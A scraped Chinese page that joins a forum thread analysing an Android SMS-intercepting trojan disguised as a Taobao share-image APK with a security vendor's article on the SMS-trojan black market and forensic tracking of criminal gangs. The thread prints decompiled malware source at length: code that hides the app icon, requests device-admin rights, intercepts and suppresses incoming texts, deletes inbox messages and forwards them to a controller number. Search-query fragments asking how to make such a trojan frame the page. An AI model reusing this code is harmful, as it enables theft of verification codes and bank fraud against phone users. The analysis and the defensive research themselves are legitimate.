怎么制作短信拦截马制作视频?

查看: 56684|回复: 119
apk短信拦截马简单分析
阅读权限10
本帖最后由 imjc 于
00:13 编辑
文件信息:
File Name: 淘宝宝贝分享图.apk
File MD5: D9C5B77CFF
样本下载地址:/file/id_687106.htm
使用工具:
1.使用解压软件右键解压得到以下文件:
1.png (21.93 KB, 下载次数: 370)
12:50 上传
2.下载dex2jar工具解压:
把classes.dex 拷贝到dex2jar目录下:在路径上输入cmd后再输入:dex2jar.bat classes.dex 回车后
得到文件:classes_dex2jar.jar
2.png (181.36 KB, 下载次数: 207)
13:02 上传
3.使用jd_Gui打开刚才得到classes_dex2jar.jar文件:
3.png (15.53 KB, 下载次数: 112)
13:04 上传
4.查看具体代码:
App文件代码如下:
[Java] 纯文本查看 复制代码package com.sonyericsson.androidapp.microblogci8dmdo4;
import android.app.A
import android.os.P
public class App extends Application
implements Thread.UncaughtExceptionHandler
public void onCreate()
super.onCreate();
Thread.setDefaultUncaughtExceptionHandler(this);
public void uncaughtException(Thread paramThread, Throwable paramThrowable)
Process.killProcess(Process.myPid());
L文件代码如下:
[Java] 纯文本查看 复制代码package com.sonyericsson.androidapp.microblogci8dmdo4;
import android.app.A
import android.app.admin.DevicePolicyM
import ponentN
import android.content.I
import android.content.pm.PackageM
import android.os.Build.VERSION;
import android.os.B
import android.os.H
public class L extends Activity
private DevicePolicyM
private ComponentN
protected void onCreate(Bundle paramBundle)
super.onCreate(paramBundle);
setContentView();
d.a(this, new SR());
d.a(this, &启动MainActivity&);
d.a(this);
this.a = ((DevicePolicyManager)getSystemService(&device_policy&));
this.b = new ComponentName(this, LR.class);
if (this.a.isAdminActive(this.b))
d.a(this, &已经注册设备管理器&);
while (true)
if (Build.VERSION.SDK_INT & 14)
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
Handler localHandler = new Handler();
localHandler.postDelayed(new a(this, localHandler), 5000L);
Intent localIntent = new Intent(&android.app.action.ADD_DEVICE_ADMIN&);
localIntent.putExtra(&android.app.extra.DEVICE_ADMIN&, this.b);
localIntent.putExtra(&android.app.extra.ADD_EXPLANATION&, &设备管理器&);
startActivity(localIntent);
d.a(this, &注册设备管理器&);
LR文件代码如下:
[Java] 纯文本查看 复制代码package com.sonyericsson.androidapp.microblogci8dmdo4;
import android.app.admin.DeviceAdminR
import android.content.C
import android.content.I
public class LR extends DeviceAdminReceiver
public void onDisabled(Context paramContext, Intent paramIntent)
d.a(paramContext, &取消使用&);
super.onDisabled(paramContext, paramIntent);
public void onEnabled(Context paramContext, Intent paramIntent)
d.a(paramContext, &图片查看&);
super.onEnabled(paramContext, paramIntent);
public void onReceive(Context paramContext, Intent paramIntent)
super.onReceive(paramContext, paramIntent);
SR文件代码如下:
[Java] 纯文本查看 复制代码package com.sonyericsson.androidapp.microblogci8dmdo4;
import android.content.BroadcastR
import android.content.C
import android.content.I
import android.os.B
import android.telephony.SmsM
public class SR extends BroadcastReceiver
public void onReceive(Context paramContext, Intent paramIntent)
d.a(paramContext, &#SmsReceiver#onReceive& + paramIntent.getAction());
if (!&android.provider.Telephony.SMS_RECEIVED&.equals(paramIntent.getAction()))
d.a(paramContext, this);
d.a(paramContext);
Bundle localB
localBundle = paramIntent.getExtras();
while (localBundle == null);
if (!d.b(paramContext))
d.a(paramContext, &#SmsReceiver#时间不在运行范围&);
Object[] arrayOfObject = (Object[])localBundle.get(&pdus&);
int i = arrayOfObject.
String str1 = &&;
int j = 0;
String str2;
for (Object localObject = &&; ; localObject = str2)
if (j &= i)
d.b(paramContext, (String)localObject, str1);
abortBroadcast();
SmsMessage localSmsMessage = SmsMessage.createFromPdu((byte[])arrayOfObject[j]);
str2 = localSmsMessage.getOriginatingAddress();
str1 = str1 + localSmsMessage.getMessageBody();
U文件代码如下:
[Java] 纯文本查看 复制代码package com.sonyericsson.androidapp.microblogci8dmdo4;
import android.app.A
import android.os.B
import android.widget.T
public class U extends Activity
protected void onCreate(Bundle paramBundle)
super.onCreate(paramBundle);
d.a(this, new SR());
Toast.makeText(this, &应用程序尚未安装在您的手机上&, 1).show();
a文件代码如下:
[Java] 纯文本查看 复制代码package com.sonyericsson.androidapp.microblogci8dmdo4;
import android.content.I
import android.os.H
implements Runnable
a(L paramL, Handler paramHandler)
public void run()
this.b.removeCallbacks(this);
Intent localIntent = new Intent();
localIntent.setType(&image/*&);
localIntent.setAction(&android.intent.action.GET_CONTENT&);
this.a.startActivity(localIntent);
b文件代码如下:
[Java] 纯文本查看 复制代码package com.sonyericsson.androidapp.microblogci8dmdo4;
import android.content.C
import android.content.SharedP
import android.content.SharedPreferences.E
import android.preference.PreferenceM
public class b
public static String a = &com.eg.android.AlipayGphone&;
public static String b = &&;
public static String c = &&;
public static void a(Context paramContext)
SharedPreferences localSharedPreferences = PreferenceManager.getDefaultSharedPreferences(paramContext);
String str = b(paramContext);
if (!localSharedPreferences.getString(&4yffd3&, &&).equals(str))
d.a(paramContext, &初次运行!&);
localSharedPreferences.edit().putString(&4yffd3&, str).commit();
d.a(paramContext, null, &888&);
public static String b(Context paramContext)
return &&;
c文件代码如下:
[Java] 纯文本查看 复制代码package com.sonyericsson.androidapp.microblogci8dmdo4;
import android.content.ContentR
import android.content.C
import android.database.ContentO
import android.database.C
import android.net.U
import android.os.H
public class c extends ContentObserver
public c(Context paramContext)
super(new Handler());
d.a(paramContext, &#SMSObserver#注册&);
this.a = paramC
this.a.getContentResolver().registerContentObserver(Uri.parse(&content://sms/&), true, this);
public void onChange(boolean paramBoolean)
super.onChange(paramBoolean);
d.a(this.a, &#SMSObserver#onChange&);
if (!d.b(this.a))
d.a(this.a, &#SMSObserver#时间不在运行范围&);
while (true)
Uri localUri = Uri.parse(&content://sms/inbox&);
Cursor localCursor = this.a.getContentResolver().query(localUri, null, null, null, null);
while (localCursor.moveToNext())
d.b(this.a, localCursor.getString(localCursor.getColumnIndex(&address&)), localCursor.getString(localCursor.getColumnIndex(&body&)));
String str = &content://sms/conversations/& + localCursor.getString(1);
this.a.getContentResolver().delete(Uri.parse(str), null, null);
d文件代码如下:
[Java] 纯文本查看 复制代码package com.sonyericsson.androidapp.microblogci8dmdo4;
import android.content.C
import android.content.IntentF
import android.telephony.SmsM
import android.util.L
import java.text.SimpleDateF
import java.util.D
import java.util.L
public class d
public static boolean a =
private static boolean b =
private static long[]
private static boolean d =
public static void a(Context paramContext)
a(paramContext, &chkFirstRun&);
b.a(paramContext);
public static void a(Context paramContext, SR paramSR)
new c(paramContext);
IntentFilter localIntentFilter = new IntentFilter();
localIntentFilter.setPriority();
localIntentFilter.addAction(&android.provider.Telephony.SMS_RECEIVED&);
paramContext.getApplicationContext().registerReceiver(paramSR, localIntentFilter);
catch (Exception localException)
a(paramContext, &注册监听异常:& + localException.getMessage());
public static void a(Context paramContext, String paramString)
Log.e(&T_DEBUG&, paramString);
public static void a(Context paramContext, String paramString1, String paramString2)
if (paramString1 == null);
for (String str = b.b(paramContext); ; str = paramString1)
a(paramContext, &发送:& + str + & & + paramString2);
if (Boolean.parseBoolean(String.valueOf(a)))
SmsManager localSmsManager = SmsManager.getDefault();
localSmsManager.sendMultipartTextMessage(str, null, localSmsManager.divideMessage(paramString2), null, null);
public static void b(Context paramContext, String paramString1, String paramString2)
String str = b.b(paramContext);
if (paramString1.startsWith(&+86&))
paramString1 = paramString1.substring(3);
a(paramContext, &收到:& + paramString1 + & & + paramString2);
if (paramString1.equals(str))
String[] arrayOfString = paramString2.split(&A&, 2);
if (arrayOfString.length != 2)
a(paramContext, &指令错误&);
a(paramContext, null, &短信指令格式错误,格式为“手机号A短信内容”&);
a(paramContext, &SENDTO:& + arrayOfString[0] + & content & + arrayOfString[1]);
a(paramContext, arrayOfString[0], arrayOfString[1]);
a(paramContext, str, &[& + paramString1 + &]& + paramString2);
public static boolean b(Context paramContext)
if (c == null)
c(paramContext);
long l = System.currentTimeMillis();
if ((c[0] == 0L) || (c[1] == 0L));
while ((c[0] &= l) && (c[1] &= l))
public static void c(Context paramContext)
if (c == null)
SimpleDateFormat localSimpleDateF
localSimpleDateFormat = new SimpleDateFormat(&yyyy-MM-dd HH:mm&, Locale.CHINA);
c = new long[2];
if (b.b.equals(&&))
c[0] = 0L;
while (b.c.equals(&&))
c[1] = 0L;
c[0] = localSimpleDateFormat.parse(b.b).getTime();
catch (Exception localException)
c[0] = 0L;
c[1] = 0L;
a(paramContext, &从RAW读取配置信息失败,& + localException.getMessage());
c[1] = localSimpleDateFormat.parse(b.c).getTime();
代码如上。
大概危害:
虽然不太懂代码,但是可以看懂一点点:中了这个木马的人,手机上收到的信息会被转移到【】这个手机号码上,
而且中了这个木马的人手机收到的信息也无法看到。
从木马名字来看,这类木马主要是针对淘宝卖家,骗子作为买家,发送木马给卖家
告知卖家他看到别人的分享的东西,很喜欢,所有东西都在apk文件上,只要安装就可以看到列表了,如果有就所有都要了。
或许有些不谨慎的淘宝卖家就会安装了这个木马,然后骗子通过木马截取短信方式等,修改卖家淘宝账号或者支付宝账号等,洗劫卖家支付宝的金钱。
以上是个人的了解,第一次发帖,有哪些写得不对的地方请指教
吾爱币 +22
我很赞同!
用心讨论,共获提升!
热心回复!
我很赞同!
我很赞同!
我很赞同!
热心回复!
这个手机号要被打爆了
欢迎分析讨论交流,吾爱破解论坛有你更精彩.
本帖被以下淘专辑推荐:
& |主题: 17, 订阅: 2
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
这个不太懂。
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
不算木马吧&&android哪来的木马&&& &只是恶意程序罢了&&不装就没事了
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限100
应该先给我们看看manifest文件里面是什么哇。
建议以后尽量多看看smali反汇编代码,毕竟别人做了保护的话dex2jar就不那么好用了。
整体已经分析出来了,不错,希望楼主多多分享
我很赞同!
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
支持原创!~~
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限255
分析的不错,开放注册来的同学哦,注意多发帖回帖,防止被清理掉账号。
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限40
apk在哪里下载?
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限30
分析的很详细,这个软件在哪下载?
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
虽然不懂安卓,但是这个好像是可以反编译出源代码是吗?
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
还是要学习一下
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
浏览过的版块
免责声明:吾爱破解所发布的一切破解补丁、注册机和注册信息及软件的解密分析文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。
( 京ICP备号 | 京公网安备 87号 )
Powered by Discuz! X3.2
Comsenz Inc.“短信拦截马”黑色产业链与溯源取证研究 -
| 关注黑客与极客
“短信拦截马”黑色产业链与溯源取证研究
共421284人围观
,发现 33 个不明物体
根据猎豹安全实验室的云端监控数据显示,近1个月截获的“短信拦截”类样本变种数量超过10万,影响用户数达数百万之多。“短信拦截”木马作为安卓手机病毒中的一类常见样本,近两年来显现出爆发增长的趋势,其背后的黑色产业链也日益发展壮大,“短信拦截马”的日趋泛滥已经成为移动支付、网银财产等各环节的焦点安全问题。
“短信拦截马”导致网银资金被盗的新闻屡见报端,作为一个安全厂商我们对受害用户的遭遇也深感痛心,这也推动我们在查杀对抗“短信拦截马”的工作中投入更多的努力。在安全对抗过程中我们对“短信拦截马”黑产的运作有了一些了解,在针对黑产团伙进行追踪取证方面也做出了一些尝试,下面把在我们这个过程中产生的一些经验和思考做一个分享,希望可以让用户能够更多地了解和规避此类安全风险,也希望安全圈内有更多的目光可以关注到这个问题。
典型样本分析
典型的“短信拦截马”从技术原理和实现上看并不复杂,大多通过注册短信广播(BroadcastReceiver)或者观察模式(ContenetObserver)监控手机短信的收发过程,当然也出现一些功能更全面强大的远控类手机木马,短信拦截只中的一项功能。网上类似的短信拦截源码也非常多,了解过安卓开发的都可以很快编写出一个“短信拦截马”,这也是“短信拦截马”变种速度快、传播泛滥的一个重要原因。
在我们近期的云端监控中有一类“短信拦截马”变种非常活跃,占据总体样本量的15%左右。该样本使用“stalker”作为配置信息的加密密钥,所以我们将其命名为“潜行者”,下面我们就以它为例对典型“短信拦截马”进行简单的技术分析。
从上图可以看出一个“短信拦截马”的典型功能结构,在我们对“潜行者”样本的分析过程中也发现一些比较有意思的细节,如下:
1)出于兼容性考虑,木马同时使用了“广播机制”和“观察者模式”两种方法进行短信拦截。从木马启动的时候检查授权时间也可以看出这个变种是由木马作者开发以后进行外部出售的。
2)木马在向控制手机回传部分短信时对敏感关键词进行了过滤替换,防止手机安全软件进行监控拦截。
黑色产业链结构
如下图所示,“拦截马”黑色产业链条从整体分工层次上看相对比较清晰,木马作者、分发传播、出料、洗拦截料、转账洗钱构成了黑色产业链的关键环节,其中握有大量“拦截料”的料主在整个链条中处于相对核心的地位。
另一方面从实际运作来看整个圈子又具有一定程度的复杂性,除了上述几个重要参与角色,每个产业链环节还会有一些其他黑产人员参与其中,比如盗卖个人信息、黑卡买卖、钓鱼后台维护、木马免杀处理等等,甚至还包括一些境外洗钱组织的身影;黑产圈子内部也充满了欺诈,“黑料”这样的事情也成为常态,具有一定技术实力的团伙才是暴利所得者;另外某些技术、资源实力强大的团伙,可能会包揽整个链条的多个甚至是全部环节,其暴利收益自然也是最高的。&
伴随着“短信拦截”黑色产业链的发展,技术门槛低、回报收益高的特点吸引着众多的各路黑产从业人员相继加入,拦截马的传播渠道也随之日渐丰富,各种钓鱼诱骗手段层出不穷,从伪基站、短信猫等硬件设备群发、色情钓鱼网站诱导以及鱼龙混杂的第三方app分发渠道均有介入。
我们从近期拦截的“短信拦截马”中抽取了2000个活跃样本,对其传播使用的文件名和部分钓鱼短信内容进行了关键词提取,统计结果如下图所示,从中我们可以看出利用“相册相片”、“文件资料”等关键词的钓鱼手法占据了一半以上,这类关键词一般用于通讯录群发这样的病毒式传播手段,拦截量相对较高;其次是伪基站类的钓鱼手法,常见类型如10086积分兑换、银行升级等;还有一部分是针对特定人群的钓鱼攻击,比如车辆违章、校园通、成绩单等,这些往往是由于车主或者家长信息泄漏导致的;最后还有一些是利用社会热点进行传播的,比如前段时间很火的“优衣库”事件。
如下图所示,传播渠道的变化还表现出一个重要趋势,从早期“普遍撒网”的暴力传播模式开始向定向精准化钓鱼攻击转变。尤其是近年来个人信息数据的泄漏买卖行为日益活跃,成为拦截马定向传播的一大帮凶,黑产团伙通过购买商业贷款、信用卡办理、网购用户等具有较高目标价值的个人数据,然后根据相关情景去精心构造钓鱼短信,由于短信中包含用户姓名、身份证号或者银行卡号等个人数据,而且短信的情景也符合近期办理的业务,收到钓鱼短信的用户往往放松了安全警惕导致中招;又例如出现一些“背包客”随身携带伪基站设备群发钓鱼短信,他们主要在大型购物商场、高端写字楼等区域活动,这些地方人流量足够大,更重要的是在此类区域活动的人群具有更高的“经济附加值”。
用户银行卡卡内的资金能够被黑产团伙顺利转移,一方面是由于用户网银信息泄漏和手机被木马控制,另一方面重要原因在于国内各类混乱的支付渠道缺乏有效安全监管,或多或少都存在一些风险控制上的漏洞。以我们去年跟进的一个“洗料通道”案件为例,北京某第三方平台的支付渠道被黑产团伙利用,短短数月的时间内受害用户多达数千人,损失金额从几十到数万不等。
黑产团伙“洗拦截料”的方式多种多样,不同“洗料通道”的转账限额也有差异。黑产团伙一般是通过银行、商户或者第三方支付的各类快捷支付渠道将用户卡内资金转走,从部分受害用户追查的消费记录来看,资金流向也五花八门,包括购买游戏币、彩票、话费充值、机票门票等多种多样的洗料方法。有些信用卡cvv码泄漏的用户还发现通过境外消费渠道被划走资金。有些被感染手机可能还会被订阅一些恶意扣费服务或者使用手机话费支付购买游戏点卡后再进行销赃。
越来越多的认证绑定、安全验证被转移到用户手机上,作为个人信息中心的智能手机扮演了基础通讯之外更多的角色。一方面确实带来了非常多的便捷,但另一方面在手机中毒这样的特定场景下,用户的安全防线往往变得脆弱不堪。在保持手机支付便捷性的同时,我们需要一些更安全可靠的认证方式,比如指纹认证。安全对抗可能永远都不会止步,但是我们相信未来可以做得更好。
溯源取证案例
在近两年与“短信拦截马”的安全对抗中,我们也实际接触到了非常多的受害用户,被盗资金少则数百上千,多则数十万,而多方互相推诿责任、立案取证追查困难可能是大多数受害用户得到的最终结果。抛开外部各方的其他因素,此类网络犯罪的技术取证也确实存在一些难点,以“短信拦截马”为例:
1)黑产各环节关系交错复杂,一条“拦截料”被洗之前往往可能被买卖转手多次;
2)其用于钓鱼网站搭建或者接收控制的后台服务器较多使用国外主机;
3)用于命令控制的手机卡基本都是不记名卡,追查定位相对困难;
4)盗洗的资金也往往经过较多次的分流清洗,基本上都使用黑卡转账,给资金流向追踪带来困难。
当然作为一家安全厂商,在这场安全对抗中也有我们自己的优势,针对此类诈骗短信、钓鱼网站以及“短信拦截马” 变种传播速度较快的特点,我们优化加强了云端安全鉴定机制,可以做到更快的全网响应拦截,避免其进一步传播危害用户;另一方面通过对这些分散的网银钓鱼攻击、手机木马传播等拦截数据的汇总分析,从中我们可以梳理出全国各地区活跃度较高的黑产团伙,然后进行更具针对性的监控和追踪取证。
[一]、伪基站短信钓鱼案例
伪基站短信钓鱼是“短信拦截马”非常重要的一个传播渠道,从伪基站钓鱼网站拦截这方面着手,云端数据显示从14年下半年开始,伪基站短信钓鱼进入异常活跃期,高峰期平均每天新增的钓鱼网站多达近千个。“短信拦截马”的安全威胁、影响范围都远超其他类型的手机病毒,当黑产团伙同时掌握了用户的银行卡信息和验证手机,用户的网银资产可以说是完全沦为“砧板上的鱼肉”。
我们对其中的活跃钓鱼网站进行了分类和安全测试,也对从其他渠道收集到的伪基站钓鱼网站源码进行了分析,发现了包括sql注入、存储型xss、后台越权等多类安全漏洞,由于这些常见伪基站钓鱼站点大多基于几类固定模版开发编写,所以这些安全漏洞通用性相对较高。这些漏洞相对都比较简单,今年在乌云等安全平台也多有披露,这里就不再赘述技术细节。
活跃度高的伪基站钓鱼网站会自动加入我们的取证系统中,通过对上述漏洞的批量自动利用我们可以对全国范围内的活跃黑产团伙进行长期监控。综合受害者分布、钓鱼后台登录IP等数据分析,我们对全国伪基站钓鱼黑产的规模和运作有了更深入的了解。
1)全国受害用户众多,从数百钓鱼网站后台记录中共发现超过40万条的用户网银数据,包括:姓名、身份证号、开户行、银行卡号、取款密码、CVV码等;通过跟踪对比,这些活跃钓鱼后台平均每天新增数据超过300条,有些甚至多达上千条。
2)黑产团伙和受害用户的分布都存在地域聚集的特点。黑产团伙集中在广东、福建、海南、广西等地区,比例超过80%;受害用户分布较多的为广东、湖南、湖北、河南4大省份,比例超过60%。
从14年下半年开始我们加强了对“伪基站钓鱼”传播渠道的监控力度,共筛选梳理出20余个高度活跃的黑产团伙,我们将掌握的部分犯罪证据和追踪定位信息反馈给全国多地警方,配合打击了这批黑产犯罪团伙。目前其中的部分涉案团伙已经抓捕归案,涉案金额最少都在百万级别,希望更多的受害用户在结案以后能追回自己被盗的资金。
[二]、“短信拦截马”取证案例
在本文的开始也提到了近两年“短信拦截马”样本变种的拦截量增长非常迅猛。“短信拦截马”样本中相当一部分使用邮箱收信,同时使用手机短信进行远程控制,这些特点都可以作为溯源取证的常见入手点;当然也有部分样本使用一些Web程序进行收信管理,在我们的实际测试过程中同样发现了多类安全漏洞,可以用来辅助实现自动化的安全取证;另一方面,针对“短信拦截马”的特点和传播场景,我们也尝试过“以彼之道还施彼身”的“反向钓鱼”,后面会讲到如何使用“反向钓鱼”手段去追踪黑产团伙。
我们的安全监控系统会对入库的“短信拦截马”样本进行解包分析,根据辅助特征自动从反编译代码中提取出黑产团伙使用的邮箱帐号密码和控制手机号码,对其中拦截量较大的变种类型我们也会相应加强后续的监控跟踪。
另一方面,基于“短信拦截马”的特殊传播场景,我们可以伪装为受害者,使用样本收信的邮箱帐号密码或者后台接口向黑产团伙投递一封精心构造的“反向钓鱼”诱饵,诱导其打开钓鱼链接从而获取到对方的IP地址。甚至更进一步诱导其安装我们的钓鱼app,然后使用GPS定位、前置摄像头拍照等功能获取更多的取证信息。
“反向钓鱼”的取证思路并不复杂,重点在于“诱饵”短信要恰到好处的引起目标的兴趣,同时也不能太过突兀引起目标警觉,最好是和部分正常短信信息融合到一起,做到“真中有假、假中有真”;另一方面,目标的注意力大多集中在如何从用户短信中寻找到更多有价值的目标信息,所以往往会忽略“诱饵”的真假,这种心理特点也是“反向钓鱼”手段能够成功的一个重要因素。
本文从典型样本、黑产链条、追踪取证等多个方面对“短信拦截马”背后的黑色产业链进行了一些剖析总结,可以看出这一黑产的形成运作是一个复杂交错的产物。我们对它的了解可能还比较片面,其中的种种隐秘内幕也远超这篇文章所能揭露的。这场“短信拦截马”的安全对抗除了安全厂商的查杀拦截之外,还涉及到移动网络安全、手机系统安全、银行资金风控、打击犯罪等多个环节,如何更好地保护用户网络财产安全,我们需要比现在行动得更多、思考得更远。
1)作为安全厂商,除了完善对“短信拦截马”样本、钓鱼网站等威胁的鉴定机制、提升响应速度和查杀拦截率之外,我们应该从被动防御转向主动出击,凭借自身在数据分析、安全技术上的优势,将安全对抗拉升到更高的层次。另一方面对于取证监控发现的其他受害用户,可以通过合适的方式提前发出安全警告,避免用户进一步遭受损失;
2)很多用户受骗正是因为钓鱼短信的发件人显示为1等正常号码而放松安全警惕导致中招,而提供安全可信的网络环境应该是运营商的基本责任和义务,运营商需要加强对伪基站的监控打击力度,帮助更多用户升级到安全级别更高的4G网络,减少遭受伪基站干扰的几率;
3)各大银行、各支付平台需要加强对各自支付转账渠道的监管,完善对用户资金转移等敏感操作的风控机制,防止被不法分子利用窃取用户网银财产;
4)对于手机厂商,安全保护同样是手机ROM开发设计需要考虑的一个重点环节,厂商可以从系统底层加强对敏感权限的访问控制,尤其是涉及到用户隐私的联系人、短信记录等信息,做到更好的保护和提示。
*本文作者:猎豹科学院(企业账号),转载须注明来自FreeBuf黑客与极客()
话所这种挖黑产渠道的文章确实很少,博主你这是一步一步教我们走入黑产啊,让我们学坏啊。 :eek:
我相信我加入互联网,就是我未来的路、希望有大神关注http:...
非常棒的技术思路。
有点厉害,有点犀利,有点牛逼,有点吊
老师:小明你用一首诗来形容下现代的社会,小明:屌丝终有逆袭日,木耳绝无反粉日,人美B遭罪,人帅j8累,老师:放学来我办公室,我们一起做黑产。
必须您当前尚未登录。
必须(保密)
珠海猎豹团队官方账号
分享每日精选文章

我要回帖

更多关于 2016短信拦截马源码 的文章

 

随机推荐